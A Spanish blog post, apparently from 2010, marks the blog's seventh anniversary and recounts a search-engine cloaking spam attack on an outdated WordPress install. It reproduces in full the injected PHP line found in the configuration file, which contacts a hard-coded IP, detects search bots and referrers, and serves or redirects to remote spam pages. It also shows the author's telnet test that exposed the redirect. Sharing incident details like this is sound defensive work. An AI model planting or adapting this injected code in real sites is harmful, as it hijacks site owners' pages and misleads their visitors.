Hoy, este blog cumple 7 años.

Y para celebrarlo, algún spammer graciosillo me metió presión para que actualizara WordPress a la última versión. ¡Pero si hacía sólo 3 años que lo actualicé por última vez, a la versión 2.0 que es la que tiene toda Internet!

En fin, que no te puedes olvidar de cambiar el aceite del coche ni de actualizar WordPress con regularidad. A menos que tengas un Volkswagen Polo de los antiguos, que iban bien con aceite semi-sólido 😛

Con un poco de suerte, no se notarán más que pequeños cambios. A menos que te interesen los gory details del ataque del spammer, no sigas leyendo.

El pasado miércoles por la noche, mientras me disponía a contarles otra historia, me percaté de un curioso ataque de SPAM en mi blog. Tras librarme de la sanguijuela en questión, me quedó claro que tenía que actualizar mi versión de WordPress urgentemente.

Esto es lo que pasa cuando uno se lo monta por su propia cuenta, cuanto menos dependes de servicios de terceros (p.ej. wordpress.com) más dependes de tí mismo. Tener coche propio conlleva ciertas obligaciones y llevarse algún susto de vez en cuando, mientras que si alguilas el coche cuando lo necesitas te libras del mantenimiento. Los coches son más fiables que los blogs, pero por ahí van los tiros.

El ataque se manifiestó del siguiente modo: hice una búsqueda (en Google, para no desvariar) que devolvía una página de mi blog. Lo primero que noté al encontrar mi entrada fue un título que no era mío:

Google result with wrong title

Incrédulo, pulsé el enlace a ver a dónde me llevaba. Cuál no fue mi sorpresa al ver que aterrizo en mi propio blog, pero éste me recibe con una página que no es mía. Entre otras porquerías, esta página contenía publicidad.

Aún más incrédulo, copie la dirección (que no era mía, aunque estuviera en mi blog) y la pegué en una nueva pestaña, la misma página me recibió. Pero si copiaba la dirección que sí era mía (la que me daba Google) y la pegaba en una nueva pestaña, entonces obtenía mi página auténtica.

Conclusión: dos páginas diferentes en la misma dirección, dependiendo de dónde viniera. La clave estaba en la cabecera HTTP Referer que le dice al servidor de dónde vienes. Un sencillo experimento bastó para corroborar mis sospecha:

$ telnet miguev.net 80
Trying 69.163.168.159...
Connected to miguev.net.
Escape character is '^]'.
GET /2008/09/16/las-cuentas-claras/ HTTP/1.1
Host: www.miguev.net
Referer: http://www.google.ch/search?sourceid=chrome&ie=UTF-8&q=gnupelas

HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Aug 2010 20:19:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Location: /news/HOT/CHERYL-HINES/
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

Lo que pasa aquí es que yo pido la página http://www.miguev.net/2008/09/16/las-cuentas-claras/ y recibo en su lugar una redirección a http://www.miguev.net/news/HOT/CHERYL-HINES/ que claramente no es mía. Obviando la cabecera Referer: obtengo mi página auténtica.

Llegados a este punto estaba claro el modus-operandi del ataque, falta encontrar dónde se alojaba. Por suerte, no se trataba de un ataque muy sofisticado, simplemente inyectó el siguiente código en mi fichero de configuración de WordPress:

define ('WPLANG', 'es_ES'); error_reporting(0);$sd="";$pts=explode("?",$_SERVER['REQUEST_URI']);$pt=$pts[0];$d1="212.117.169.139";$f1="/allmykey4.txt";$fp1=fsockopen($d1,80,$erno,$erstr,30);if(!$fp1){print "Err: $erstr [$erno]";}else{fwrite($fp1,"GET $f1 HTTP/1.0\r\n");fwrite($fp1,"Host: $d1\r\n\r\n");while(!feof($fp1)){$h1.=fread($fp1,512);}fclose($fp1);}preg_match_all("!<begin>([^<]+)<end>!",$h1,$m1);$rkk=$m1[1][rand(0,count($m1[0])-1)];$rk=explode("@",$rkk);$rd=$rk[0];$rp=$rk[1];$a=$_SERVER['HTTP_USER_AGENT'];$ra=$_SERVER['HTTP_REFERER'];if(eregi("google",$a)||eregi("Googlebot",$a)||eregi("slurp",$a)||eregi("msnbot",$a)||eregi("google.",$ra)||eregi("yahoo.",$ra)||eregi("live.",$ra)||eregi("msn.",$ra)||eregi("bing.",$ra)){$d4=$rd;if(!eregi("/news",$pt)){$f4="/news".$pt;$f4=str_replace($sd,"",$f4);}else{$f4=str_replace($sd,"",$pt);}$fp4=fsockopen($d4,80,$erno,$erstr,30);if(!$fp4){print "Err: $erstr [$erno]";}else{fwrite($fp4,"GET $f4 HTTP/1.0\r\n");fwrite($fp4,"Host: $d4\r\n\r\n");while(!feof($fp4)){$h4.=fread($fp4,512);}fclose($fp4);}$bo="<frameset rows='100%,*' noresize><frame src='http://".$d4."/".$f4."' noresize></frameset><body>";$h4=str_replace('<body>',$bo,$h4);if(eregi("<h1>Page not found, 404 error</h1>",$h4)){$ru="/".$sd.$rp;header("HTTP/1.1 301");header("Location: $ru");exit();}else{$x4=explode("\r\n",$h4);for($m=9;$m<sizeof($x4);$m++){echo $x4[$m];}exit();}}

Borrando toda esa línea menos la parte del principio define ('WPLANG', 'es_ES'); quedó arreglado el asunto. Al menos, eso espero.

Lo preocupante es: ¿cómo narices pudo alguien escribir en mi fichero? Por no decir que ahí está la contraseña de la base de datos, naturalmente única e inmediatamente reemplazada por otra contraseña única.

El fichero tenía permisos para que todo el mundo pudiera leerlo y escribirlo, lo cual no tiene ningún sentido. O bien había un agujero en WordPress 2.0 que permitió al atacante mangonear el fichero a su antojo, o bien fui yo el que metió la pata con chmod sin darme ni cuenta 🙁

El ataque duró 49 horas 07 minutos y 29 segundos, desde las 11:22:01 del 22 hasta las 12:30:32 del 24 de agosto, y afectó a 2062 peticiones HTTP, de las cuales 223 venían de navegadores que probablemente tuvieran personas detrás.

Por suerte, no se trataba de la clase de ataque que se esconde en la base de datos. Aún así, prefiero considerar esta versión antigua de WordPress no de fiar e instalar la última versión desde cero.

Actualizar de WordPress 2.0 a 3.0 no parece ninguna broma, en el foro te dicen que peregrines de rodillas (muy simpáticos) pero alguien ya se cansó de la peregrinación y escribió un tema que permite exportar la mayor parte del contenido en formato XML para Movable Type, que luego se puede importar de vuelta. No está mal, pero se deja atrás las páginas estáticas, así que ayer me pasé el día dándole duro a las expresiones regulares y al SQL😉

Aproveché la ocasión para mover el blog a miguev.net/blog/ por si un día quiero tener en este dominio algo que no sea un blog, nunca se sabe 😛

Esto tenía que pasar tarde o temprano, ya pasó. De momento me puedo dar con un canto en los dientes si no se nota ningún cambio importante. He desactivado temporalmente los iconos de navegadores y la información del tiempo, cuando pueda los reactivaré, pero no tengo prisa. Si alguien nota algo más que esté roto, por favor háganmelo saber 🙂

Si has notado interrupciones en el servicio, te ruego aceptes mis disculpas.

Si no has notado nada y aún te preguntas a qué narices viene todo esto, me alegro mucho —de que no hayas notado nada:-)

Me queda pendiente afinar las reglas de redirección con mod_rewrite, que aún no controlo bien. Gracias a Boriel, tengo lectura pendiente para eso 🙂

Ahora, es viernes y son las cinco, así que me voy a celebrar este cumpleaños del blog que no quería crecer con una cerveza 🙂